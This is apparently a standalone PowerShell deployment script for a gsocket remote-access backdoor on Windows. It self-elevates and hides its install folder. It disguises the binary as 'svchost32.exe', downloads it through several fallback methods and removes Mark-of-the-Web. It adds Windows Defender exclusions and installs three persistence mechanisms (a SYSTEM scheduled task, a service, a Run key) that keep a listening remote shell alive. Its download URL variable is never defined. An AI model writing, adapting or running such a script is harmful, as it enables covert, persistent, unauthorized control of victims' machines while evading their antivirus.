# deploy-gsocket.ps1
# Compatible: Windows 7/8/10/11, Server 2008R2+
# Requires: Run as Administrator
param(
[string]$MachineSecret = "REPLACE_WITH_UNIQUE_SECRET",
[string]$TaskName = "WindowsNetworkService",
[string]$InstallDir = "C:\ProgramData\Microsoft\Network\Connections"
)
# ── Elevate if not admin ───────────────────────────────────────────────────────
if (-not ([Security.Principal.WindowsPrincipal] `
[Security.Principal.WindowsIdentity]::GetCurrent() `
).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
Start-Process powershell -ArgumentList "-ExecutionPolicy Bypass -File `"$PSCommandPath`" -MachineSecret `"$MachineSecret`"" -Verb RunAs
exit
}
# ── Helpers ────────────────────────────────────────────────────────────────────
function Log($msg) { Write-Host "[*] $msg" }
function Err($msg) { Write-Host "[!] $msg" -ForegroundColor Red }
# ── Detect architecture ────────────────────────────────────────────────────────
$arch = if ([Environment]::Is64BitOperatingSystem) { "win64" } else { "win32" }
Log "Architecture: $arch"
# ── Detect OS version for compatibility ───────────────────────────────────────
$osVersion = [System.Environment]::OSVersion.Version
$isWin7 = ($osVersion.Major -eq 6 -and $osVersion.Minor -eq 1)
Log "OS Version: $($osVersion.ToString())"
# ── Create install dir (hidden) ────────────────────────────────────────────────
New-Item -ItemType Directory -Force -Path $InstallDir | Out-Null
(Get-Item $InstallDir -Force).Attributes = "Hidden,System"
Log "Install dir: $InstallDir"
# ── Download binary with multiple fallback methods ─────────────────────────────
$BinaryPath = "$InstallDir\svchost32.exe" # blend into system look
function Download-File($url, $dest) {
# Method 1: Invoke-WebRequest (PS 3.0+)
try {
[Net.ServicePointManager]::SecurityProtocol = `
[Net.SecurityProtocolType]::Tls12 -bor `
[Net.SecurityProtocolType]::Tls11 -bor `
[Net.SecurityProtocolType]::Tls
Invoke-WebRequest -Uri $url -OutFile $dest -UseBasicParsing -TimeoutSec 30
if (Test-Path $dest) { return $true }
} catch { Log "IWR failed, trying WebClient..." }
# Method 2: .NET WebClient (Win7 compatible)
try {
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($url, $dest)
if (Test-Path $dest) { return $true }
} catch { Log "WebClient failed, trying BITS..." }
# Method 3: BITS (Background Intelligent Transfer)
try {
Start-BitsTransfer -Source $url -Destination $dest -ErrorAction Stop
if (Test-Path $dest) { return $true }
} catch { Log "BITS failed, trying curl..." }
# Method 4: curl.exe (Win10 1803+)
try {
$curlPath = "$env:SystemRoot\System32\curl.exe"
if (Test-Path $curlPath) {
& $curlPath -L -o $dest --tlsv1.2 --silent $url
if (Test-Path $dest) { return $true }
}
} catch { Log "curl failed..." }
return $false
}
if (-not (Test-Path $BinaryPath)) {
Log "Downloading gsocket binary..."
if (-not (Download-File $DownloadUrl $BinaryPath)) {
Err "All download methods failed. Exiting."
exit 1
}
}
Log "Binary ready: $BinaryPath"
# ── Unblock binary (removes Mark-of-the-Web) ──────────────────────────────────
try { Unblock-File -Path $BinaryPath -ErrorAction SilentlyContinue } catch {}
# ── Exclude from Windows Defender ─────────────────────────────────────────────
try {
Add-MpPreference -ExclusionPath $InstallDir -ErrorAction SilentlyContinue
Add-MpPreference -ExclusionProcess $BinaryPath -ErrorAction SilentlyContinue
Log "AV exclusion added"
} catch { Log "Could not add AV exclusion (non-fatal)" }
# ── Create resilient launcher batch ───────────────────────────────────────────
$LauncherPath = "$InstallDir\launcher.bat"
$LauncherContent = @"
@echo off
setlocal
set GSOCKET_ARGS=-s $MachineSecret -l -i -k
:loop
"$BinaryPath" %GSOCKET_ARGS%
timeout /t 10 /nobreak >nul 2>&1
ping -n 11 127.0.0.1 >nul 2>&1
goto loop
"@
Set-Content -Path $LauncherPath -Value $LauncherContent -Encoding ASCII
# ── Install persistence (3 methods for maximum resilience) ────────────────────
# Method A: Scheduled Task (most reliable, survives reboots + logoffs)
function Install-ScheduledTask {
try {
$Action = New-ScheduledTaskAction -Execute "cmd.exe" `
-Argument "/c `"$LauncherPath`""
$Trigger1 = New-ScheduledTaskTrigger -AtStartup
$Trigger2 = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 5) `
-Once -At (Get-Date)
$Settings = New-ScheduledTaskSettingsSet `
-ExecutionTimeLimit ([TimeSpan]::Zero) `
-RestartCount 99 `
-RestartInterval (New-TimeSpan -Minutes 1) `
-StartWhenAvailable `
-RunOnlyIfNetworkAvailable:$false
Register-ScheduledTask -TaskName $TaskName `
-Action $Action -Trigger @($Trigger1, $Trigger2) `
-RunLevel Highest -User "SYSTEM" `
-Settings $Settings -Force | Out-Null
Start-ScheduledTask -TaskName $TaskName -ErrorAction SilentlyContinue
Log "Scheduled Task installed"
return $true
} catch {
# Fallback for older PowerShell / Windows 7
try {
schtasks /create /tn $TaskName /sc onstart /delay 0001:00 `
/tr "cmd.exe /c `"$LauncherPath`"" `
/ru SYSTEM /f | Out-Null
schtasks /run /tn $TaskName | Out-Null
Log "Scheduled Task installed (legacy schtasks)"
return $true
} catch {
Err "Scheduled Task failed"
return $false
}
}
}
# Method B: Windows Service via sc.exe
function Install-Service {
try {
$SvcName = "WinNetSvc"
$SvcPath = "$InstallDir\service_wrapper.bat"
# Wrap in a simple loop for service mode
Set-Content $SvcPath "@echo off`n:l`n`"$BinaryPath`" -s $MachineSecret -l -i -k`ntimeout /t 10 >nul`ngoto l" -Encoding ASCII
sc.exe create $SvcName binPath= "cmd.exe /c `"$SvcPath`"" start= auto | Out-Null
sc.exe failure $SvcName reset= 60 actions= restart/5000/restart/5000/restart/5000 | Out-Null
sc.exe start $SvcName | Out-Null
Log "Windows Service installed"
return $true
} catch {
Err "Service install failed (non-fatal)"
return $false
}
}
# Method C: Registry Run key (last resort, user-session only)
function Install-RegistryRun {
try {
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
Set-ItemProperty -Path $regPath -Name $TaskName `
-Value "cmd.exe /c `"$LauncherPath`"" -ErrorAction Stop
Log "Registry Run key installed"
return $true
} catch {
Err "Registry Run key failed"
return $false
}
}
# Try all persistence methods
Install-ScheduledTask
Install-Service
Install-RegistryRun
# ── Immediately start in background ───────────────────────────────────────────
try {
Start-Process -FilePath "cmd.exe" `
-ArgumentList "/c `"$LauncherPath`"" `
-WindowStyle Hidden -ErrorAction SilentlyContinue
Log "Started background process"
} catch {}
# ── Verify it's running ────────────────────────────────────────────────────────
Start-Sleep -Seconds 3
$running = Get-Process | Where-Object { $_.Path -eq $BinaryPath } | Select-Object -First 1
if ($running) {
Log "Verified: gsocket is running (PID $($running.Id))"
} else {
Err "Process not detected — may still be starting"
}
Log "Deployment complete. Secret: $MachineSecret"